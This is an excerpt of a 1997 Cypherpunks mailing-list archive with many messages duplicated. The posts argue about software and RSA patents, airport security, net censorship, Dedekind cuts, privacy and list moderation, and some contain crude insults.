Further, unlike a lot of big-ticket engineering, programming can be done by 
individuals with a relatively low-cost computer.  Many if not most of the 
software constructs that were later called "patentable" were probably 
actually invented by people who had no interest in patenting them...and the 
few greedy ones who did were given the rewards.  That's not fair, 
particularly when they may have been invented during a time in which 
software patents were known to be impossible to get.

Also, since unlike other areas of engineering current programmers didn't 
have to pay for previous software constructs ("do-loops were free") there 
should have been distinct limits on the royalties that anybody could ask for 
in software-patent cases.  

Another problem is that much of the costs of most software companies are 
personnel and advertising.  Any realistic royalty system (even assuming all 
other problems were solved) would have to determine what portion of a 
program's functionality was attributable to a patented concept, which I 
assert is essentially impossible.  Do you charge for execution time? (the 
guy who patents the "wait loop" would make a fortune!)  Length of code?   
Number of times called? 

Royalties must, presumably, be limited to a reasonable and practical level, 
and also (obviously) they may also have to be divided among a number of 
potential claimants, in the same way that (for instance) a car manufacturer 
may have to pay royalties on potentially hundreds or even thousands of 
patents to sell a single car.  If no mechanism currently exists to arrive at 
a fair division of such royalties (about 20 years after the patents for the 
various encryption systems were filed) , I think it may be presumed that 
nobody seriously believes that this is possible.

In short, I think it's absolutely foolish to believe that any sort of 
workable system could ever have been arranged to patent software, even if 
all of the issues above had been addressed fairly.  And the reason I asked 
for an "innocent" explanation is to give people the benefit of the doubt so 
that they could show that the system was working.  It isn't, and you know it. 

It's not surprising that no REAL LAWYERS (tm) around here were willing to 
tackle this issue.  They know it's all a fraud.


>>It also ignores the strong likelihood that the reason for the Patent-Office 
>>policy change (done, apparently, without benefit of a corresponding law 
>>change) was because with public-key/RSA there was finally an example of 
>>software the government wished to deny to the average citizen, 
>>and the only mechanism (short of secrecy, which was broken) to do so 
>>was to patent it.  
>
>D,H,R,S, and A didn't _have_ to apply for patents....
>With hardware security products, the NSA has the power to seize and
>classify systems which are applying for patents, for no particularly
>good reason, and they used to do it often.

Actually, I don't think they REALLY "have the power."   What I mean by this 
is simple:  Since American patents are supposedly grantable for applications 
filed  up to one year prior, there is no guarantee that they will even see a 
patent application to grant until  long after the cat is out of the bag.  

  For instance, there was
>an analog scrambler for CB radios that got its patent applications
>seized in about 1980.  And most software patent applications for
>crypto have involved machinations to avoid getting trapped by this,
>like publishing in foreign journals before submitting applications.


Why should they have to publish in FOREIGN journals?    Like I said before, 
since up to one year can elapse after disclosure (and, apparently, even 
longer in the case of the DHM patent, submission to ANY journal, not merely 
domestic ones, should do to prevent NSA's tricks.  (and today, publishing on 
the Internet should achieve exactly the same results.)  Richard Schoeppel 
commented this way:


"Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)"


What are we to conclude?  These sleazebags can't even follow their own 
rules!  Look, I asked for an INNOCENT explanation of software patents.  
INNOCENT explanations don't include the obvious kind of scams pulled like this.






Jim Bell
jimbell@pacifier.com




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jim bell <jimbell@pacifier.com>
Date: Tue, 21 Jan 1997 06:57:39 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: RSA challenge: is it legal to try?
Message-ID: <199701211457.GAA06836@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:33 PM 1/16/97 -0800, Bill Stewart wrote:
>At 08:13 PM 1/14/97 -0800, jim bell wrote:
>>US.  Alone, that would have denied non-US patents to RSA.   However, such an 
>>explanation grandly ignores the fact that computer software (let alone 
>>mathematics in general) was not considered patentable ANYWHERE (?) before 
>>public-key systems made their appearance in 1976.
>...
>>I'm still waiting for an "innocent" explanation for the US patent office 
>>beginning to issue software patents.  I don't think there is one.
>
>The first software patent was Dennis Ritchie's patent on setUID.

So what year was that?

>Computer security is one area that, if you're going to allow patents
>on software at all (which I think are a bad idea, but that's politics)

No, it's not JUST politics.  It's also (im)practicality.  Even if, arguably, 
software OUGHT TO be patentable, going from a time in which software wasn't 
patentable to software patentability is essentially impossible.  First, it 
requires (or, at least, ought to require, if they were to do it 
right...which they didn't) a searchable compilation of all previously 
existing software ideas and constructs to ensure that obvious or 
previously-existing ideas were not given patents.  Since prior to about 1976 
there was no motivation on anyone's part to collect such a database (secrecy 
being the most useful protection) then it was practically guaranteed that 
the Patent Office would be unable (or unwilling???) to refuse to grant 
patents on old ideas.

Further, unlike a lot of big-ticket engineering, programming can be done by 
individuals with a relatively low-cost computer.  Many if not most of the 
software constructs that were later called "patentable" were probably 
actually invented by people who had no interest in patenting them...and the 
few greedy ones who did were given the rewards.  That's not fair, 
particularly when they may have been invented during a time in which 
software patents were known to be impossible to get.

Also, since unlike other areas of engineering current programmers didn't 
have to pay for previous software constructs ("do-loops were free") there 
should have been distinct limits on the royalties that anybody could ask for 
in software-patent cases.  

Another problem is that much of the costs of most software companies are 
personnel and advertising.  Any realistic royalty system (even assuming all 
other problems were solved) would have to determine what portion of a 
program's functionality was attributable to a patented concept, which I 
assert is essentially impossible.  Do you charge for execution time? (the 
guy who patents the "wait loop" would make a fortune!)  Length of code?   
Number of times called? 

Royalties must, presumably, be limited to a reasonable and practical level, 
and also (obviously) they may also have to be divided among a number of 
potential claimants, in the same way that (for instance) a car manufacturer 
may have to pay royalties on potentially hundreds or even thousands of 
patents to sell a single car.  If no mechanism currently exists to arrive at 
a fair division of such royalties (about 20 years after the patents for the 
various encryption systems were filed) , I think it may be presumed that 
nobody seriously believes that this is possible.

In short, I think it's absolutely foolish to believe that any sort of 
workable system could ever have been arranged to patent software, even if 
all of the issues above had been addressed fairly.  And the reason I asked 
for an "innocent" explanation is to give people the benefit of the doubt so 
that they could show that the system was working.  It isn't, and you know it. 

It's not surprising that no REAL LAWYERS (tm) around here were willing to 
tackle this issue.  They know it's all a fraud.


>>It also ignores the strong likelihood that the reason for the Patent-Office 
>>policy change (done, apparently, without benefit of a corresponding law 
>>change) was because with public-key/RSA there was finally an example of 
>>software the government wished to deny to the average citizen, 
>>and the only mechanism (short of secrecy, which was broken) to do so 
>>was to patent it.  
>
>D,H,R,S, and A didn't _have_ to apply for patents....
>With hardware security products, the NSA has the power to seize and
>classify systems which are applying for patents, for no particularly
>good reason, and they used to do it often.

Actually, I don't think they REALLY "have the power."   What I mean by this 
is simple:  Since American patents are supposedly grantable for applications 
filed  up to one year prior, there is no guarantee that they will even see a 
patent application to grant until  long after the cat is out of the bag.  

  For instance, there was
>an analog scrambler for CB radios that got its patent applications
>seized in about 1980.  And most software patent applications for
>crypto have involved machinations to avoid getting trapped by this,
>like publishing in foreign journals before submitting applications.


Why should they have to publish in FOREIGN journals?    Like I said before, 
since up to one year can elapse after disclosure (and, apparently, even 
longer in the case of the DHM patent, submission to ANY journal, not merely 
domestic ones, should do to prevent NSA's tricks.  (and today, publishing on 
the Internet should achieve exactly the same results.)  Richard Schoeppel 
commented this way:


"Roger Schlafly has made a reasonable case that the DHM patent is
invalid because the invention was "published" more than a year before
the patent was filed.  (He dug up a copy of a preprint they were
circulating with a stamped received-date of ?May 1976?.)"


What are we to conclude?  These sleazebags can't even follow their own 
rules!  Look, I asked for an INNOCENT explanation of software patents.  
INNOCENT explanations don't include the obvious kind of scams pulled like this.






Jim Bell
jimbell@pacifier.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Mon, 20 Jan 1997 22:20:32 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <32E4601A.B5E@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> Also Sprach Toto:[snip]
> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked![snip]
> We have to face the fact that humans are predators, and as long as
> we are, the cycle of this behavior will continue.

Jane is showing signs of independent thought.  Tsk tsk.

> The human race has not evolved to such a point where privacy is not an
> essential thing. If tomorrow everyone turned instantly telepathic and
> we all were capable of knowing each other's thoughts, you'd best believe
> the suicide rate would be beyond belief. Buisnesses would instantly
> fail, countries would instantly be absorbed by other countries, many
> relationships based on love and trust would be destroyed.
> And during that time, the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete absence.

Telepathy would do no good.  You can (if you're hooked into someone's
"consciousness") see the general outlines of thought, feel some of the
emotions, etc., but the construction of one's abstract thoughts can't
be interpreted by an observing person or computer.  There are too many
variables and random influences.  Perhaps someday the quantum machines
will make headway there.  In the meantime, we can imitate, but we can't
speak the full language, a la Star Trek IV.

BTW, the suicide rate would not go ballistic, since the suicide rate
as reported today is largely ficticious anyway.  People would switch
to survival mode *very* quickly, which would have the beneficial effect
of taking their minds off of their pre-survival-crisis problems.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Tue, 21 Jan 1997 06:55:56 -0800 (PST)
To: Jane Jefferson <gotagun@liii.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211455.GAA06825@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> Also Sprach Toto:[snip]
> And fiendishly, it is the very chaos and anarchy and random chance
> espoused by proponents of the cypherpunk philosophy that allows these
> people to gain this power, unchecked![snip]
> We have to face the fact that humans are predators, and as long as
> we are, the cycle of this behavior will continue.

Jane is showing signs of independent thought.  Tsk tsk.

> The human race has not evolved to such a point where privacy is not an
> essential thing. If tomorrow everyone turned instantly telepathic and
> we all were capable of knowing each other's thoughts, you'd best believe
> the suicide rate would be beyond belief. Buisnesses would instantly
> fail, countries would instantly be absorbed by other countries, many
> relationships based on love and trust would be destroyed.
> And during that time, the deadliest person alive - the toughest and
> the meanest, and the most effective in the face of all the chaos, would
> not be the person who was capable of preserving their privacy. Rather,
> it would be the one who was capable of surviving in it's complete absence.

Telepathy would do no good.  You can (if you're hooked into someone's
"consciousness") see the general outlines of thought, feel some of the
emotions, etc., but the construction of one's abstract thoughts can't
be interpreted by an observing person or computer.  There are too many
variables and random influences.  Perhaps someday the quantum machines
will make headway there.  In the meantime, we can imitate, but we can't
speak the full language, a la Star Trek IV.

BTW, the suicide rate would not go ballistic, since the suicide rate
as reported today is largely ficticious anyway.  People would switch
to survival mode *very* quickly, which would have the beneficial effect
of taking their minds off of their pre-survival-crisis problems.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam philipp <adam@rosa.com>
Date: Mon, 20 Jan 1997 22:35:18 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
In-Reply-To: <199701210416.UAA28041@toad.com>
Message-ID: <3.0.1.32.19970120223411.00713a0c@mail.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 1/20/97 -0500, you wrote:
>	Recall that all security is economics.  The airlines want the
>appearance of security without having to pay for it.
>
>	The '3 questions' ("Pack your luggage?  let it out of your
>sight?  Taking any gifts?") originated with El Al, where they are the
>introduction to a very expensive (and privacy invading) set of
>screening questions.  The El Al people are trained to watch you as
>they ask the questions, and respond to signs of lying or rehersal.
>The Americans read the questions off the screen, and pay no attention
>to your answers.

True, however the number of questions asked by El Al decreases amazingly
when you answer in Hebrew, however that did not stop me being addressed by
five security personnel after a trip where had been doing a photo
documentary and was still wearing a photo vest full of black metal
cannisters (lenses). Of course when the security head finally approached me
I used Hebrew and that was then end of the episode. Unfortunately speaking
English is not a very good determination of airline safety.

	Adam Esq.



-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam philipp <adam@rosa.com>
Date: Tue, 21 Jan 1997 06:55:49 -0800 (PST)
To: Adam Shostack <adam@homeport.org>
Subject: Re: Airport security [no such thing]
Message-ID: <199701211455.GAA06810@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:23 PM 1/20/97 -0500, you wrote:
>	Recall that all security is economics.  The airlines want the
>appearance of security without having to pay for it.
>
>	The '3 questions' ("Pack your luggage?  let it out of your
>sight?  Taking any gifts?") originated with El Al, where they are the
>introduction to a very expensive (and privacy invading) set of
>screening questions.  The El Al people are trained to watch you as
>they ask the questions, and respond to signs of lying or rehersal.
>The Americans read the questions off the screen, and pay no attention
>to your answers.

True, however the number of questions asked by El Al decreases amazingly
when you answer in Hebrew, however that did not stop me being addressed by
five security personnel after a trip where had been doing a photo
documentary and was still wearing a photo vest full of black metal
cannisters (lenses). Of course when the security head finally approached me
I used Hebrew and that was then end of the episode. Unfortunately speaking
English is not a very good determination of airline safety.

	Adam Esq.



-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-\
| My PGP key is available on my  |Unauthorized interception violates |
| home page: http://www.rosa.com |federal law (18 USC Section 2700 et|
|=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-|seq.). In any case, PGP encrypted  |
|SUB ROSA...see home page...     |communications are preferred for   | 
|     -=[ FUCK THE CDA]=-        |sensitive materials.               |
\=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-+-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-/
If A is a success in life, then A = x + y + z. Work is x; y is play; 
and z is keeping your mouth shut. Albert Einstein (1879-1955)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 19:40:10 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: UNS_top
In-Reply-To: <199701210057.QAA24931@toad.com>
Message-ID: <Pine.GSO.3.95.970120223659.14752A-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll get the full article soon enough, I expect. The Reuters story isn't
quite right, though. Burma has no Net-connection. I stood outside the
building that will house it last month (they wouldn't let me in) after
hiking five miles through fields to get around police barricades. It
should go live this year.

For China and Singapore Net-censorship, check out my web site at
http://www.eff.org/~declan/global/

-Declan


On Mon, 20 Jan 1997, Toto wrote:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
> 
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?
> 
> Toto
> 
> 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Mon, 20 Jan 1997 20:25:35 -0800 (PST)
To: Toto <toto@sk.sympatico.ca>
Subject: Re: UNS_top
Message-ID: <199701210425.UAA28206@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


You'll get the full article soon enough, I expect. The Reuters story isn't
quite right, though. Burma has no Net-connection. I stood outside the
building that will house it last month (they wouldn't let me in) after
hiking five miles through fields to get around police barricades. It
should go live this year.

For China and Singapore Net-censorship, check out my web site at
http://www.eff.org/~declan/global/

-Declan


On Mon, 20 Jan 1997, Toto wrote:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
> 
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?
> 
> Toto
> 
> 
> 
> 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Mon, 20 Jan 1997 02:14:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
In-Reply-To: <199701200456.UAA00404@toad.com>
Message-ID: <199701200959.WAA24235@mycroft.actrix.gen.nz>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 22:34:05 -0600 (CST), Jim Choate wrote:

   Forwarded message:

   > Yes, the Reals can be constructed from the Rationals.  No, the
   > Reals are not a subset of the Rationals.

   An arbitrary Real can be constructed from the Rationals. If we accept the
   proposition, as posed apparently by you and others, of uncountable Reals then
   your 'assumption' fails, otherwise the 'uncountable' members would be
   countable.

There are no "uncountable" numbers -- uncountability is a property of
the set, not an individual member of the set.  The set of reals cannot
be placed in one-to-one correspondence with the integers (strictly,
positive integers, but it amounts to the same thing).

   > Dedekind Cuts are a simple abstraction, often used to construct
   > the Reals from the Rationals in undergraduate calculus courses.
   > Conceptually, one makes a single "cut" in the set of Rationals,
   > dividing it into two parts, all of the members of one part being
   > greater than all of the members of the other.  The number of ways
   > of doing this correspond to the Reals.

   The number of cuts are 1-to-1 with the Reals, they are not the Reals.
   There is no way I can make a cut which is 3.1527, only 1-to-1 with the
   number(s). Important distinction.

Cut the rational numbers into two sets, A containing all the negative
rationals and all those that have squares less than 2, and B
containing all the positive rationals that have squares greater than
2.  There you have a cut which is 1.41421... (i.e., sqrt(2)).  So you
can define irrational numbers from the rationals (an irrational number
is a cut such that the first set (A) has no largest member and the
second set (B) has no smallest member).

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Sometimes a feeling is all we humans have to go on.
		-- Kirk, "A Taste of Armageddon", stardate 3193.9




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Foley <mycroft@actrix.gen.nz>
Date: Mon, 20 Jan 1997 08:13:56 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [Math Noise] (fwd)
Message-ID: <199701201613.IAA12458@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997 22:34:05 -0600 (CST), Jim Choate wrote:

   Forwarded message:

   > Yes, the Reals can be constructed from the Rationals.  No, the
   > Reals are not a subset of the Rationals.

   An arbitrary Real can be constructed from the Rationals. If we accept the
   proposition, as posed apparently by you and others, of uncountable Reals then
   your 'assumption' fails, otherwise the 'uncountable' members would be
   countable.

There are no "uncountable" numbers -- uncountability is a property of
the set, not an individual member of the set.  The set of reals cannot
be placed in one-to-one correspondence with the integers (strictly,
positive integers, but it amounts to the same thing).

   > Dedekind Cuts are a simple abstraction, often used to construct
   > the Reals from the Rationals in undergraduate calculus courses.
   > Conceptually, one makes a single "cut" in the set of Rationals,
   > dividing it into two parts, all of the members of one part being
   > greater than all of the members of the other.  The number of ways
   > of doing this correspond to the Reals.

   The number of cuts are 1-to-1 with the Reals, they are not the Reals.
   There is no way I can make a cut which is 3.1527, only 1-to-1 with the
   number(s). Important distinction.

Cut the rational numbers into two sets, A containing all the negative
rationals and all those that have squares less than 2, and B
containing all the positive rationals that have squares greater than
2.  There you have a cut which is 1.41421... (i.e., sqrt(2)).  So you
can define irrational numbers from the rationals (an irrational number
is a cut such that the first set (A) has no largest member and the
second set (B) has no smallest member).

-- 
Paul Foley <mycroft@actrix.gen.nz>       ---         PGPmail preferred

	   PGP key ID 0x1CA3386D available from keyservers
    fingerprint = 4A 76 83 D8 99 BC ED 33  C5 02 81 C9 BF 7A 91 E8
----------------------------------------------------------------------
Sometimes a feeling is all we humans have to go on.
		-- Kirk, "A Taste of Armageddon", stardate 3193.9





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Mon, 20 Jan 1997 23:08:00 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arkansas Phone Scramblers, etc.
Message-ID: <199701210707.XAA04133@idiom.com>
MIME-Version: 1.0
Content-Type: text



I just had an interesting exchange with the latest person to take up
residence in my bozo filter.

I get this message from some clown I've never heard of, sent from AOL,
saying that he wants one of these Radio Shack scrambler frobs, and hinting
that he'd be willing to pay lots for it.

I sent him back a note pointing out, among other things, that I don't know
him, he doesn't know me, and that we're talking about buying and selling
a frob that at least one set of JBT's doesn't think he should have. 

I concluded by telling him that I wouldn't sell him one if I had one, 
that I wouldn't tell him whether I had one, and that if he wants to have
a private conversation with someone, he should just get a copy of
PGP phone, like everyone else.

He sent me a huffy note, saying I'd better learn some diplomacy.

So, what do you think guys?  Did I just piss off some federal prosecutor
who was hoping to body-grab me to a clueless jusrisdiction like Arkansas
to try me for crypto-terrorism, or did I piss off another fucking AOL'er?

Amused and Torqued at the same time,

-jcr





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John C. Randolph" <jcr@idiom.com>
Date: Tue, 21 Jan 1997 06:55:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Arkansas Phone Scramblers, etc.
Message-ID: <199701211455.GAA06791@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



I just had an interesting exchange with the latest person to take up
residence in my bozo filter.

I get this message from some clown I've never heard of, sent from AOL,
saying that he wants one of these Radio Shack scrambler frobs, and hinting
that he'd be willing to pay lots for it.

I sent him back a note pointing out, among other things, that I don't know
him, he doesn't know me, and that we're talking about buying and selling
a frob that at least one set of JBT's doesn't think he should have. 

I concluded by telling him that I wouldn't sell him one if I had one, 
that I wouldn't tell him whether I had one, and that if he wants to have
a private conversation with someone, he should just get a copy of
PGP phone, like everyone else.

He sent me a huffy note, saying I'd better learn some diplomacy.

So, what do you think guys?  Did I just piss off some federal prosecutor
who was hoping to body-grab me to a clueless jusrisdiction like Arkansas
to try me for crypto-terrorism, or did I piss off another fucking AOL'er?

Amused and Torqued at the same time,

-jcr






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 20 Jan 1997 21:11:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: Fascist cocksuckers: 0, Freedom of speech: 1
In-Reply-To: <199701210057.QAA24931@toad.com>
Message-ID: <V37u1D89w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto <toto@sk.sympatico.ca> writes:

> John Young wrote:
> >  Governments in China, Burma and
> >  Singapore have already tried to discipline this on-line activity with
> >  minimal success.
>
>   Do you have any pointers to information in regard to this, or are you
> just being a goddamn tease?

For example, the fascist cocksuckers Sandfart and Geekmore have been
totally impotent in their failed attempts to suppress free speech.

Gilmore's as inept as the governments of China, Burma and Singapore combined.

        FUCK CENSORSHIP.  FUCK EFF (EFFEMINATE FASCISTS FOUNDATION).

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 22:29:11 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <32E45AA6.330A@gte.net>
Message-ID: <199701210620.AAA00567@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


[Cc: alex@agate.net]

Dale Thorn wrote:
> 
> Many credible and respected authors and commentators have made references
> to the masses in one form or another as "stupid, lazy, ignorant,
> selfish, etc.", or even "almost useless".
> 

In the classical example, you should say "LYING, FUCKING, THIEVING, STUPID,"
and so on. The art of insults has developed somewhat.

Alexplore is one of the best masters after Dr. Vulis (some would say 
even better than Dr. Vulis, but that depends on taste).

if you do not get it, it is because you need to know the context...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 21 Jan 1997 06:55:28 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701211455.GAA06743@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


[Cc: alex@agate.net]

Dale Thorn wrote:
> 
> Many credible and respected authors and commentators have made references
> to the masses in one form or another as "stupid, lazy, ignorant,
> selfish, etc.", or even "almost useless".
> 

In the classical example, you should say "LYING, FUCKING, THIEVING, STUPID,"
and so on. The art of insults has developed somewhat.

Alexplore is one of the best masters after Dr. Vulis (some would say 
even better than Dr. Vulis, but that depends on taste).

if you do not get it, it is because you need to know the context...

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Mon, 20 Jan 1997 22:30:51 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <199701210535.AAA05654@oak.liii.com>
Message-ID: <199701210627.AAA00614@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jane Jefferson wrote:
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual.

An excellent point, Jane. Worth remembering.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Tue, 21 Jan 1997 06:55:27 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701211455.GAA06742@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jane Jefferson wrote:
> 
> The heart and soul of the problem is that "sin", "freedom", "good", 
> and "evil" are abstract concepts which fluctuate from individual to 
> individual.

An excellent point, Jane. Worth remembering.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 21:36:02 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Dr. Vulis' social engineering experiment
In-Reply-To: <32E4477E.3F8B@sk.sympatico.ca>
Message-ID: <199701210535.AAA05654@oak.liii.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Toto:
> 
>   If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

Exactly. 
 
>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

The heart and soul of the problem is that "sin", "freedom", "good", 
and "evil" are abstract concepts which fluctuate from individual to 
individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
University, I think that perhaps he has been hanging out and drinking
too many beers with my former philosophy professor Quentin Lauer. ;-7 

>    The crypto-cognizant citizen proclaims cryptographical ability as
> a means of empowering their rights of free speech.  The more intelligent
> of them recognize as misinformation the government's feeble claims that
> they cannot successfully investigate someone moving tons of illegal
> drugs into the country unless they have the capacity to eavesdrop on
> the private correspondences of 'all' of their citizens. (Which is the
> equivalent, in my mind, of claiming that AIDS cannot be held in check
> without knowing the details of all of the citizens sex-lives.)
 
Governments, however, are made up of the very same people who claim
to require these rights to privacy. Those people create, codify and 
enforce the laws. The problem is that the people who find themselves in 
this position of power are not always the most moral or concerned with 
the best interest of the majority. 

And fiendishly, it is the very chaos and anarchy and random chance 
espoused by proponents of the cypherpunk philosophy that allows these
people to gain this power, unchecked! 
 
Thus, the real problem ends up being not "how to control the government
so that the government doesn't control us", but "how to deal with the 
government when it goes into control-freak mode". That it will go into
such a mode is a given -- based on human nature and history. This is
a fundamental cycle of evolution and human behavior. We have to face
the fact that humans are predators, and as long as we are, the 
cycle of this behavior will continue. 

The human race has not evolved to such a point where privacy is not an
essential thing. If tomorrow everyone turned instantly telepathic and 
we all were capable of knowing each other's thoughts, you'd best believe
the suicide rate would be beyond belief. Buisnesses would instantly 
fail, countries would instantly be absorbed by other countries, many 
relationships based on love and trust would be destroyed. 

And during that time, the deadliest person alive - the toughest and 
the meanest, and the most effective in the face of all the chaos, would
not be the person who was capable of preserving their privacy. Rather,
it would be the one who was capable of surviving in it's complete 
absence. 

This is not to denigrate the efforts of the cypherpunks, but merely to
point out an area that they may not have thought of as a method to
battle the trend towards fascism. 

-- 
Marcus: "They'll try to kill you."         | "You won't see me in 
Xena: "Oh, I still have a few tricks       | front, but you can't 
       left up my sleeve...I don't         | leave me behind!" 
       have any sleeves!" -- Xena bloopers |                 -- YES 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jane Jefferson <gotagun@liii.com>
Date: Mon, 20 Jan 1997 22:10:53 -0800 (PST)
To: toto@sk.sympatico.ca
Subject: Re: Dr. Vulis' social engineering experiment
Message-ID: <199701210610.WAA29970@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Also Sprach Toto:
> 
>   If what you say is true, then Dr. DV K's efforts are quite possibly 
> the most important issue being addressed in this conference, because
> behind free speech, lies the most important issue of all--when does
> it start, and when does it stop.

Exactly. 
 
>   The military-industrial complex proclaims this necessary for the
> purposes of state-security, and denies that it is used in order to keep 
> their 'sins' from being exposed. (If you believe this, then please 
> contact me by private email regarding an ocean-front property I have
> available in Tucson, AZ.  If you act quickly, I will throw in a set
> of the Amazing Ginzu Knives as an added bonus.)

The heart and soul of the problem is that "sin", "freedom", "good", 
and "evil" are abstract concepts which fluctuate from individual to 
individual. If Dr. Vulis is indeed an adjunct professor at Fordham 
